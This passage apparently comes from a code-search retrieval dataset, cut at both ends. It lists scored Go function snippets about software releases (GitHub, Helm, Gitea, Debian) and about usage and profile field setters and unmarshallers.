{\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tupdated, _ := time.Parse(\"2006-01-02 15:04\", strings.Join(fields[len(fields)-3:len(fields)-2], \" \"))\n\t\t\tvar location string\n\t\t\tswitch len(pieces) {\n\t\t\tcase 4:\n\t\t\t\tlocation = fmt.Sprintf(SourceFormat4, pieces[0], pieces[1], version, name, version)\n\t\t\tcase 5:\n\t\t\t\tlocation = fmt.Sprintf(SourceFormat5, pieces[0], pieces[1], version, pieces[3], name, version)\n\t\t\tcase 6:\n\t\t\t\tlocation = fmt.Sprintf(SourceFormat6, pieces[0], pieces[1], version, pieces[3], pieces[4], name, version)\n\t\t\t}\n\t\t\tr := results.NewResult(name, version, location, updated)\n\t\t\trs.AddResult(r)\n\t\t}\n\t\tbreak\n\t}\n\treturn\n}", "title": "" }, { "docid": "2181b1cabe4371ce0949f1fdae3c82a2", "score": "0.48635525", "text": "func (o *OnDemandWrapper) GetReleaseByVersion(version string) (model.Release, dberrors.Error) {\n\trelease, err := o.repository.GetReleaseByVersion(version)\n\n\tswitch {\n\tcase err == nil: // release found in db\n\t\treturn release, nil\n\n\tcase err.Code() == dberrors.CodeNotFound: // release not found, if is on-demand version, try to download\n\t\tif !o.isOnDemandVersion(version) {\n\t\t\treturn model.Release{}, err\n\t\t}\n\n\t\trel, err := o.downloadRelease(version)\n\t\tif err != nil {\n\t\t\treturn model.Release{}, err\n\t\t}\n\n\t\trel, err = o.saveRelease(rel)\n\t\tif err != nil {\n\t\t\treturn model.Release{}, err\n\t\t}\n\t\treturn rel, nil\n\n\tdefault:\n\t\treturn model.Release{}, dberrors.Internal(\"Failed to get Kyma release for version %s: %s\", version, err.Error())\n\t}\n}", "title": "" }, { "docid": "23755018723b3643fe55744e442465a8", "score": "0.4862993", "text": "func (aq *ArticleQuery) First(ctx context.Context) (*Article, error) {\n\tas, err := aq.Limit(1).All(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(as) == 0 {\n\t\treturn nil, &ErrNotFound{article.Label}\n\t}\n\treturn as[0], nil\n}", "title": "" }, { "docid": "4bc525c8fe47a25e46a149546f4e3e33", "score": "0.483601", "text": "func (it *Changelog) NewRelease(version string) *Release {\n\trelease := &Release{\n\t\tVersion: version,\n\t\tCommits: make([]*SemanticCommit, 0),\n\t}\n\tit.Releases = append(it.Releases, release)\n\treturn release\n}", "title": "" }, { "docid": "9e70a4f83040143f8d8bb130a275be7a", "score": "0.4824602", "text": "func (d Databases) First() *Database {\n\tif len(d) == 0 {\n\t\treturn nil\n\t}\n\treturn &d[0]\n}", "title": "" }, { "docid": "858ab6c55ebd4de3b0d3fe7091537b6c", "score": "0.48231593", "text": "func FetchRelease(ctx context.Context, httpClient *http.Client, repo ghrepo.Interface, tagName string) (*Release, error) {\n\tcc, cancel := context.WithCancel(ctx)\n\tresults := make(chan fetchResult, 2)\n\n\t// published release lookup\n\tgo func() {\n\t\tpath := fmt.Sprintf(\"repos/%s/%s/releases/tags/%s\", repo.RepoOwner(), repo.RepoName(), tagName)\n\t\trelease, err := fetchReleasePath(cc, httpClient, repo.RepoHost(), path)\n\t\tresults <- fetchResult{release: release, error: err}\n\t}()\n\n\t// draft release lookup\n\tgo func() {\n\t\trelease, err := fetchDraftRelease(cc, httpClient, repo, tagName)\n\t\tresults <- fetchResult{release: release, error: err}\n\t}()\n\n\tres := <-results\n\tif errors.Is(res.error, errNotFound) {\n\t\tres = <-results\n\t\tcancel() // satisfy the linter even though no goroutines are running anymore\n\t} else {\n\t\tcancel()\n\t\t<-results // drain the channel\n\t}\n\treturn res.release, res.error\n}", "title": "" }, { "docid": "02116b227b8e2264d566a8b40450fc0f", "score": "0.4819946", "text": "func (r *Repo) GetLatestRelease() (*github.RepositoryRelease, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), timeout)\n\tdefer cancel()\n\n\trelease, _, err := r.Repositories.GetLatestRelease(ctx, r.owner, r.repository)\n\treturn release, err\n}", "title": "" }, { "docid": "17304406ddfba14203bfaf7b9aa116dc", "score": "0.48194095", "text": "func GetRelease(ctx *context.APIContext) {\n\tid := ctx.ParamsInt64(\":id\")\n\trelease, err := models.GetReleaseByID(id)\n\tif err != nil {\n\t\tctx.Error(500, \"GetReleaseByID\", err)\n\t\treturn\n\t}\n\tif release.RepoID != ctx.Repo.Repository.ID {\n\t\tctx.Status(404)\n\t\treturn\n\t}\n\tif err := release.LoadAttributes(); err != nil {\n\t\tctx.Error(500, \"LoadAttributes\", err)\n\t\treturn\n\t}\n\tctx.JSON(200, release.APIFormat())\n}", "title": "" }, { "docid": "5953182347e339f364cac8de762ffe57", "score": "0.48151758", "text": "func (s *RepositoriesService) GetLatestRelease(ctx context.Context, owner, repo string) (*RepositoryRelease, *Response, error) {\n\tu := fmt.Sprintf(\"repos/%s/%s/releases/latest\", owner, repo)\n\treturn s.getSingleRelease(ctx, u)\n}", "title": "" }, { "docid": "c647b7d0db0cffb7f63511dc9ee89674", "score": "0.48087788", "text": "func (s UpdateStoryArray) First() (v UpdateStory, ok bool) {\n\tif len(s) < 1 {\n\t\treturn\n\t}\n\treturn s[0], true\n}", "title": "" }, { "docid": "8e299e4734484e69a4a9709875cbc70b", "score": "0.48035604", "text": "func (c *Client) release(owner, repo, relName string, pivot time.Time) (*Release, error) {\n\turl := fmt.Sprintf(\"https://api.github.com/repos/%s/%s/releases/%s\",\n\t\towner, repo, relName)\n\tv := new(Release)\n\terr := c.jsonGet(url, pivot, v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn v, nil\n}", "title": "" }, { "docid": "91e1bbe8a09b1e050a13760d0bd355fe", "score": "0.47990325", "text": "func (r Auxiliary_Press_Release_Contact_Press_Release) GetObject() (resp datatypes.Auxiliary_Press_Release_Contact_Press_Release, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Auxiliary_Press_Release_Contact_Press_Release\", \"getObject\", nil, &r.Options, &resp)\n\treturn\n}", "title": "" }, { "docid": "b64bcb9803bdfe6b603be0f9c2a5c45c", "score": "0.4791237", "text": "func (t *Test) WaitForFirstRelease() bool {\n\ttext := os.Getenv(\"JX_DISABLE_WAIT_FOR_FIRST_RELEASE\")\n\treturn strings.ToLower(text) != \"true\"\n}", "title": "" }, { "docid": "d2455a51506c8a66bcfa753e88c5adbd", "score": "0.47909057", "text": "func (c *Client) GetRelease(\n\tctx context.Context,\n\tprojectID, clusterID uint,\n\tnamespace, name string,\n) (*GetReleaseResponse, error) {\n\tcl := fmt.Sprintf(\"%d\", clusterID)\n\n\treq, err := http.NewRequest(\n\t\t\"GET\",\n\t\tfmt.Sprintf(\"%s/projects/%d/releases/%s/0?\"+url.Values{\n\t\t\t\"cluster_id\": []string{cl},\n\t\t\t\"namespace\": []string{namespace},\n\t\t\t\"storage\": []string{\"secret\"},\n\t\t}.Encode(), c.BaseURL, projectID, name),\n\t\tnil,\n\t)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq = req.WithContext(ctx)\n\tbodyResp := &GetReleaseResponse{}\n\n\tif httpErr, err := c.sendRequest(req, bodyResp, true); httpErr != nil || err != nil {\n\t\tif httpErr != nil {\n\t\t\treturn nil, fmt.Errorf(\"code %d, errors %v\", httpErr.Code, httpErr.Errors)\n\t\t}\n\n\t\treturn nil, err\n\t}\n\n\treturn bodyResp, nil\n}", "title": "" }, { "docid": "393a0a71026c6cd96abec566c53c3d26", "score": "0.47662574", "text": "func (s *_s3) FindReleaseByTimestamp(name, timestamp string) (*release.Release, error) {\n\tu, err := s.buildReleaseURL(name, timestamp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tmeta, err := s.FindMeta(u)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif meta == nil {\n\t\treturn nil, errors.Errorf(\"meta.yml not found %s\", u)\n\t}\n\treturn release.New(meta, u), nil\n}", "title": "" }, { "docid": "1bf0750ed3e65601b28ddc334afc157b", "score": "0.47569427", "text": "func LatestRelease(ctx *context.Context) {\n\trelease, err := repo_model.GetLatestReleaseByRepoID(ctx.Repo.Repository.ID)\n\tif err != nil {\n\t\tif repo_model.IsErrReleaseNotExist(err) {\n\t\t\tctx.NotFound(\"LatestRelease\", err)\n\t\t\treturn\n\t\t}\n\t\tctx.ServerError(\"GetLatestReleaseByRepoID\", err)\n\t\treturn\n\t}\n\n\tif err := release.LoadAttributes(ctx); err != nil {\n\t\tctx.ServerError(\"LoadAttributes\", err)\n\t\treturn\n\t}\n\n\tctx.Redirect(release.Link())\n}", "title": "" }, { "docid": "11b465918236cc0f33a0395f3c575371", "score": "0.47552404", "text": "func (s UpdateNewStickerSetArray) First() (v UpdateNewStickerSet, ok bool) {\n\tif len(s) < 1 {\n\t\treturn\n\t}\n\treturn s[0], true\n}", "title": "" }, { "docid": "e6d9c69f468f421fd9bfa7946ef55f95", "score": "0.47516057", "text": "func (s *store) ReleasesCreate(r *Release) (*Release, error) {\n\treturn releasesCreate(s.db, r)\n}", "title": "" }, { "docid": "d49e025dffb247e4131aef5eef3c478c", "score": "0.47360176", "text": "func (r *PivnetRelease) BoshReleaseOrEmpty(name string) *BoshRelease {\n\tbr := r.BoshRelease[name]\n\tif br == nil {\n\t\tbr = emptyBoshRelease\n\t}\n\treturn br\n}", "title": "" }, { "docid": "c9df384a74f7fa9e9b137a99a269b29d", "score": "0.4731712", "text": "func NewRelease(gitRepo *git.Repository, r *Release, uuids []string) error {\n\tisExist, err := IsReleaseExist(r.RepoID, r.TagName)\n\tif err != nil {\n\t\treturn err\n\t} else if isExist {\n\t\treturn ErrReleaseAlreadyExist{r.TagName}\n\t}\n\n\tif err = createTag(gitRepo, r); err != nil {\n\t\treturn err\n\t}\n\tr.LowerTagName = strings.ToLower(r.TagName)\n\n\tsess := x.NewSession()\n\tdefer sess.Close()\n\tif err = sess.Begin(); err != nil {\n\t\treturn err\n\t}\n\n\tif _, err = sess.Insert(r); err != nil {\n\t\treturn fmt.Errorf(\"Insert: %v\", err)\n\t}\n\n\tif len(uuids) > 0 {\n\t\tif _, err = sess.In(\"uuid\", uuids).Cols(\"release_id\").Update(&Attachment{ReleaseID: r.ID}); err != nil {\n\t\t\treturn fmt.Errorf(\"link attachments: %v\", err)\n\t\t}\n\t}\n\n\tif err = sess.Commit(); err != nil {\n\t\treturn fmt.Errorf(\"Commit: %v\", err)\n\t}\n\n\t// Only send webhook when actually published, skip drafts\n\tif r.IsDraft {\n\t\treturn nil\n\t}\n\tr, err = GetReleaseByID(r.ID)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"GetReleaseByID: %v\", err)\n\t}\n\tr.preparePublishWebhooks()\n\treturn nil\n}", "title": "" }, { "docid": "3f6097171f22524236a0a759fbd20eb6", "score": "0.47313732", "text": "func (s application) First(args ...interface{}) (result application, err error) {\n\treturn s.Scope().First(args...)\n}", "title": "" }, { "docid": "37a320e63159ae365c9b87184d9a0f37", "score": "0.47286844", "text": "func (m *ReleaseManifest) GetFromVersion(target *version.Version) (*Release, error) {\n\tif target == nil {\n\t\treturn nil, ErrReleaseNotFound\n\t}\n\tfor release := range m.Releases {\n\t\tcurr, err := version.NewSemver(release)\n\t\tif err == nil && curr.Equal(target) {\n\t\t\ttargetRelease := m.Releases[release]\n\t\t\treturn &targetRelease, nil\n\t\t}\n\t}\n\treturn nil, ErrReleaseNotFound\n}", "title": "" }, { "docid": "87a35ff7a506e374625410b3de2a2e3a", "score": "0.47236422", "text": "func GetReleaseByName(releaseName string) (Releases, error) {\n\treleasesList := HelmReleases{}\n\n\tstdOutput, err := RunHelmBinary(\"list\", \"-a\", \"--output\", \"json\")\n\tif err != nil {\n\t\treturn Releases{}, err\n\t}\n\n\terr = json.Unmarshal(stdOutput, &releasesList)\n\tif err != nil {\n\t\treturn Releases{}, err\n\t}\n\n\tfor _, release := range releasesList.Releases {\n\t\tif release.Name == releaseName {\n\t\t\treturn release, nil\n\t\t}\n\t}\n\treturn Releases{}, errors.New(\"Release not found\")\n}", "title": "" }, { "docid": "001043f6502263cd7d5fb8c5b2ef9159", "score": "0.4722703", "text": "func FirstAvailable(s Records) Records {\n\tvar matches Records\n\tif len(s) > 0 {\n\t\tmatches = append(matches, s[0])\n\t\treturn matches\n\t}\n\t// if no matches, return all nodes\n\treturn s\n}", "title": "" }, { "docid": "7b9d1f615d701cba43d39332e8872cba", "score": "0.47185728", "text": "func (txs TxSlice) First() *Tx {\n\tif len(txs) > 0 {\n\t\treturn txs[0]\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3ee3be1afbb2adb7d0f9088b0b896959", "score": "0.4714926", "text": "func getReleaseAssetByName(rr *github.RepositoryRelease, name string) *github.ReleaseAsset {\n\tfor i, ra := range rr.Assets {\n\t\tif ra.GetName() == name {\n\t\t\treturn rr.Assets[i]\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cadf3586665c4fa947822415cf48beca", "score": "0.4707731", "text": "func (c *Client) NewReleases(ctx context.Context, opts ...RequestOption) (albums *SimpleAlbumPage, err error) {\n\tspotifyURL := c.baseURL + \"browse/new-releases\"\n\tif params := processOptions(opts...).urlParams.Encode(); params != \"\" {\n\t\tspotifyURL += \"?\" + params\n\t}\n\n\tvar objmap map[string]*json.RawMessage\n\terr = c.get(ctx, spotifyURL, &objmap)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar result SimpleAlbumPage\n\terr = json.Unmarshal(*objmap[\"albums\"], &result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &result, nil\n}", "title": "" }, { "docid": "254849d18ad5acc9e26a9b2173d80a31", "score": "0.47035295", "text": "func (g *Downloader) Release(suite string) (*Release, *ReleaseDownloader, error) {\n\tif err := g.init(); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tu := \"dists/\" + suite + \"/InRelease\"\n\tif strings.HasSuffix(suite, \"stable\") {\n\t\t// Only testing (buster) has InRelease at this point, so fall back to\n\t\t// Release for *stable:\n\t\tu = \"dists/\" + suite + \"/Release\"\n\t}\n\tverifier := &noopVerifier{} // verification happens in LoadInRelease\n\tdecompressor := deb.DecompressorFor(\"\") // InRelease is not compressed\n\tf, err := g.tempFileWithFilename(verifier, decompressor, u)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer os.Remove(f.Name())\n\tdefer f.Close()\n\n\tr, err := LoadInRelease(f, &g.Keyring)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"LoadInRelease(%s): %v\", u, err)\n\t}\n\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn r, &ReleaseDownloader{fi.ModTime(), r.AcquireByHash, g, suite}, nil\n}", "title": "" }, { "docid": "626563f24b792b37a5b21cbad4f7e67f", "score": "0.47027102", "text": "func (m Deployments) Single(predicate func(*Deployment) bool) (*Deployment, bool) {\n\tf := m.FilteredSnapshot(predicate)\n\tif len(f) == 1 {\n\t\tfor _, v := range f {\n\t\t\treturn v, true\n\t\t}\n\t}\n\tvar v (*Deployment)\n\treturn v, false\n}", "title": "" } ]
28fc6676d3f4abb63f7e758e9478662b
SetProfiledHostUsage gets a reference to the given float64 and assigns it to the ProfiledHostUsage field.
[ { "docid": "cc129959e6d202df00703694ff731263", "score": "0.80228174", "text": "func (o *MonthlyUsageAttributionValues) SetProfiledHostUsage(v float64) {\n\to.ProfiledHostUsage = &v\n}", "title": "" } ]
[ { "docid": "7690a3fea30a5c317e2a12dce8fa87b3", "score": "0.68326473", "text": "func (o *MonthlyUsageAttributionValues) GetProfiledHostUsage() float64 {\n\tif o == nil || o.ProfiledHostUsage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.ProfiledHostUsage\n}", "title": "" }, { "docid": "bbf2063bb65bc5e395bef83d7caae58c", "score": "0.65319675", "text": "func (o *MonthlyUsageAttributionValues) SetProfiledHostPercentage(v float64) {\n\to.ProfiledHostPercentage = &v\n}", "title": "" }, { "docid": "e1bf42babc3fe9559122815c95fb93ea", "score": "0.59945494", "text": "func (o *MonthlyUsageAttributionValues) GetProfiledHostPercentage() float64 {\n\tif o == nil || o.ProfiledHostPercentage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.ProfiledHostPercentage\n}", "title": "" }, { "docid": "834ccbc39700eace83a096a91595caa4", "score": "0.56993324", "text": "func (o *MonthlyUsageAttributionValues) HasProfiledHostUsage() bool {\n\tif o != nil && o.ProfiledHostUsage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "79e84ee337077edd8589d4ec9d0e351a", "score": "0.55017924", "text": "func (o *MonthlyUsageAttributionValues) HasProfiledHostPercentage() bool {\n\tif o != nil && o.ProfiledHostPercentage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5dec045424ba2af21066eb2fae21d058", "score": "0.54980856", "text": "func (o *MonthlyUsageAttributionValues) GetProfiledHostUsageOk() (*float64, bool) {\n\tif o == nil || o.ProfiledHostUsage == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ProfiledHostUsage, true\n}", "title": "" }, { "docid": "aca92d19e56458bc7bbf361578f22a2c", "score": "0.5253531", "text": "func (mb *MetricsBuilder) RecordVcenterHostCPUUsageDataPoint(ts pcommon.Timestamp, val int64) {\n\tmb.metricVcenterHostCPUUsage.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "2a5db6da024e8b1d8ce8d105e99c23b1", "score": "0.51851255", "text": "func (o *MonthlyUsageAttributionValues) SetProfiledContainerUsage(v float64) {\n\to.ProfiledContainerUsage = &v\n}", "title": "" }, { "docid": "d6ce1ef8026e7b75b70ecd47cbc708f4", "score": "0.5069581", "text": "func (o *MonthlyUsageAttributionValues) GetProfiledHostPercentageOk() (*float64, bool) {\n\tif o == nil || o.ProfiledHostPercentage == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ProfiledHostPercentage, true\n}", "title": "" }, { "docid": "ac9fa9a71dc27841ea01a184a3a23c3b", "score": "0.5063856", "text": "func (o *MonthlyUsageAttributionValues) SetNpmHostUsage(v float64) {\n\to.NpmHostUsage = &v\n}", "title": "" }, { "docid": "e773f95ad184a2fc41538887b85952f6", "score": "0.5033677", "text": "func (mb *MetricsBuilder) RecordVcenterHostNetworkUsageDataPoint(ts pcommon.Timestamp, val int64, objectNameAttributeValue string) {\n\tmb.metricVcenterHostNetworkUsage.recordDataPoint(mb.startTime, ts, val, objectNameAttributeValue)\n}", "title": "" }, { "docid": "e81ed47da4eca694e29ab8d6e7293508", "score": "0.4957465", "text": "func (o *MonthlyUsageAttributionValues) SetApmHostUsage(v float64) {\n\to.ApmHostUsage = &v\n}", "title": "" }, { "docid": "99a38f61d7705e7a498c941ee4cc8fb3", "score": "0.48305565", "text": "func (m *Windows10XSCEPCertificateProfile) SetKeyUsage(value *KeyUsages)() {\n err := m.GetBackingStore().Set(\"keyUsage\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "425963e7d9fab90d77672173e8769a36", "score": "0.48113656", "text": "func (mb *MetricsBuilder) RecordVcenterHostCPUUtilizationDataPoint(ts pcommon.Timestamp, val float64) {\n\tmb.metricVcenterHostCPUUtilization.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "2638ce6241942ed5a8ff00671822d71f", "score": "0.47754416", "text": "func (m *Windows10EndpointProtectionConfiguration) SetFirewallProfileDomain(value WindowsFirewallNetworkProfileable)() {\n err := m.GetBackingStore().Set(\"firewallProfileDomain\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "e2a75e6ce371c36d6b1076f6d72f1ad8", "score": "0.47439724", "text": "func (mb *MetricsBuilder) RecordVcenterHostMemoryUsageDataPoint(ts pcommon.Timestamp, val int64) {\n\tmb.metricVcenterHostMemoryUsage.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "c2b4c34f5bb7030dccacdbd649dab7cf", "score": "0.4679549", "text": "func (o *MonthlyUsageAttributionValues) GetNpmHostUsage() float64 {\n\tif o == nil || o.NpmHostUsage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.NpmHostUsage\n}", "title": "" }, { "docid": "606f949150115818e703c113121ebebd", "score": "0.46014804", "text": "func (mb *MetricsBuilder) RecordVcenterHostMemoryUtilizationDataPoint(ts pcommon.Timestamp, val float64) {\n\tmb.metricVcenterHostMemoryUtilization.recordDataPoint(mb.startTime, ts, val)\n}", "title": "" }, { "docid": "2a9569fc83ccfdc6f258309a1f9db7e3", "score": "0.4556621", "text": "func ProcUsage(pcpu *float64, rss, vss *int64) error {\n\tvar err error\n\n\t// For simplicity, protect the entire call.\n\t// Most simultaneous requests will immediately return\n\t// with cached values.\n\tpcQueryLock.Lock()\n\tdefer pcQueryLock.Unlock()\n\n\t// First time through, initialize counters.\n\tif initialSample {\n\t\tif err = initCounters(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tinitialSample = false\n\t} else if time.Since(lastSampleTime) < (2 * time.Second) {\n\t\t// only refresh every two seconds as to minimize impact\n\t\t// on the server.\n\t\t*pcpu = prevCPU\n\t\t*rss = prevRss\n\t\t*vss = prevVss\n\t\treturn nil\n\t}\n\n\t// always save the sample time, even on errors.\n\tdefer func() {\n\t\tlastSampleTime = time.Now()\n\t}()\n\n\t// refresh the performance counter data\n\tif err = pdhCollectQueryData(pcHandle); err != nil {\n\t\treturn err\n\t}\n\n\t// retrieve the data\n\tvar pidAry, cpuAry, rssAry, vssAry []float64\n\tif pidAry, err = getCounterArrayData(pidCounter); err != nil {\n\t\treturn err\n\t}\n\tif cpuAry, err = getCounterArrayData(cpuCounter); err != nil {\n\t\treturn err\n\t}\n\tif rssAry, err = getCounterArrayData(rssCounter); err != nil {\n\t\treturn err\n\t}\n\tif vssAry, err = getCounterArrayData(vssCounter); err != nil {\n\t\treturn err\n\t}\n\t// find the index of the entry for this process\n\tidx := int(-1)\n\tfor i := range pidAry {\n\t\tif int(pidAry[i]) == processPid {\n\t\t\tidx = i\n\t\t\tbreak\n\t\t}\n\t}\n\t// no pid found...\n\tif idx < 0 {\n\t\treturn fmt.Errorf(\"could not find pid in performance counter results\")\n\t}\n\t// assign values from the performance counters\n\t*pcpu = cpuAry[idx]\n\t*rss = int64(rssAry[idx])\n\t*vss = int64(vssAry[idx])\n\n\t// save off cache values\n\tprevCPU = *pcpu\n\tprevRss = *rss\n\tprevVss = *vss\n\n\treturn nil\n}", "title": "" }, { "docid": "0e3a53b6fe282603a060b3051a436d97", "score": "0.45515436", "text": "func (o *MonthlyUsageAttributionValues) GetApmHostUsage() float64 {\n\tif o == nil || o.ApmHostUsage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.ApmHostUsage\n}", "title": "" }, { "docid": "04001ffad36105ef94e9727b4a6d13ee", "score": "0.45200714", "text": "func updateUsage(v *Varz) {\n\tvar rss, vss int64\n\tvar pcpu float64\n\n\tpse.ProcUsage(&pcpu, &rss, &vss)\n\n\tv.Mem = rss\n\tv.CPU = pcpu\n\tv.Cores = numCores\n}", "title": "" }, { "docid": "9e42636452fbcf401412a864783de8d5", "score": "0.44502205", "text": "func UnmarshalDedicatedHostProfile(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfile)\n\terr = core.UnmarshalPrimitive(m, \"class\", &obj.Class)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"disks\", &obj.Disks, UnmarshalDedicatedHostProfileDisk)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"family\", &obj.Family)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"href\", &obj.Href)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"memory\", &obj.Memory, UnmarshalDedicatedHostProfileMemory)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"name\", &obj.Name)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"socket_count\", &obj.SocketCount, UnmarshalDedicatedHostProfileSocket)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"supported_instance_profiles\", &obj.SupportedInstanceProfiles, UnmarshalInstanceProfileReference)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"vcpu_architecture\", &obj.VcpuArchitecture, UnmarshalDedicatedHostProfileVcpuArchitecture)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalModel(m, \"vcpu_count\", &obj.VcpuCount, UnmarshalDedicatedHostProfileVcpu)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "83fcf9e572cf19ee9543bc0a65b0e3fd", "score": "0.44496414", "text": "func UnmarshalDedicatedHostProfileVcpuFixed(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileVcpuFixed)\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"value\", &obj.Value)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "eb2c2589585780e0c7ac121a457f6d66", "score": "0.44155106", "text": "func putUint64Profiled(conn net.Conn, fieldName string, value uint64, field []byte, profiler *utils.Profiler) (err error) {\n\n\t// \"cast\" value to bytes before sending it\n\tvalBytes := makeBytesUint64(value)\n\tbytesWanted := len(valBytes)\n\n\tnBytes, err := conn.Write(valBytes)\n\tprofiler.AddEventNow(\"after conn.Write\")\n\tif err != nil {\n\t\tlogger.Infof(\"Failed to write %v\", fieldName)\n\t\treturn\n\t}\n\tif nBytes != bytesWanted {\n\t\tlogger.Infof(\"Error, wanted %v bytes, got %v\", bytesWanted, nBytes)\n\t\treturn fmt.Errorf(\"Error, wanted %v bytes, got %v\", bytesWanted, nBytes)\n\t}\n\n\tif debugPutGet {\n\t\tlogger.Infof(\"Wrote %v bytes, %v = 0x%x.\", nBytes, fieldName, value)\n\t}\n\treturn\n}", "title": "" }, { "docid": "c898f65309685b331529f3382fa51d01", "score": "0.4315623", "text": "func UnmarshalDedicatedHostProfileVcpu(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileVcpu)\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"value\", &obj.Value)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"default\", &obj.Default)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"max\", &obj.Max)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"min\", &obj.Min)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"step\", &obj.Step)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"values\", &obj.Values)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "1431a7fa8f2d91431fcd9c030656405d", "score": "0.4302718", "text": "func (o *MonthlyUsageAttributionValues) GetProfiledContainerUsage() float64 {\n\tif o == nil || o.ProfiledContainerUsage == nil {\n\t\tvar ret float64\n\t\treturn ret\n\t}\n\treturn *o.ProfiledContainerUsage\n}", "title": "" }, { "docid": "eb80917d0eca06a6a98cdc378f311029", "score": "0.42919052", "text": "func (mb *MetricsBuilder) RecordVcenterHostDiskThroughputDataPoint(ts pcommon.Timestamp, val int64, diskDirectionAttributeValue AttributeDiskDirection, objectNameAttributeValue string) {\n\tmb.metricVcenterHostDiskThroughput.recordDataPoint(mb.startTime, ts, val, diskDirectionAttributeValue.String(), objectNameAttributeValue)\n}", "title": "" }, { "docid": "c5abb5dd87f8a2611f1a4843d5a8a9e7", "score": "0.42717424", "text": "func (o *RdsHighCpuThresholds) SetCpuUsagePercentage(v int32) {\n\to.CpuUsagePercentage = v\n}", "title": "" }, { "docid": "7c68fbbcbe54459eaa79b6b3a53ca5be", "score": "0.42037323", "text": "func (m *Windows10EndpointProtectionConfiguration) SetFirewallProfilePublic(value WindowsFirewallNetworkProfileable)() {\n err := m.GetBackingStore().Set(\"firewallProfilePublic\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "46fa8f8cce68e4195781a9f3aa78cd6b", "score": "0.41903585", "text": "func (m *HostComponent) SetHost(value Hostable)() {\n err := m.GetBackingStore().Set(\"host\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "0c134fbc80f1ff5d5ddcb78814211b4d", "score": "0.41839546", "text": "func UnmarshalDedicatedHostProfileMemoryFixed(m map[string]json.RawMessage, result interface{}) (err error) {\n\tobj := new(DedicatedHostProfileMemoryFixed)\n\terr = core.UnmarshalPrimitive(m, \"type\", &obj.Type)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = core.UnmarshalPrimitive(m, \"value\", &obj.Value)\n\tif err != nil {\n\t\treturn\n\t}\n\treflect.ValueOf(result).Elem().Set(reflect.ValueOf(obj))\n\treturn\n}", "title": "" }, { "docid": "0a73f5c8f47f70440360d56dcd4aa99f", "score": "0.418212", "text": "func (m *Windows10XSCEPCertificateProfile) 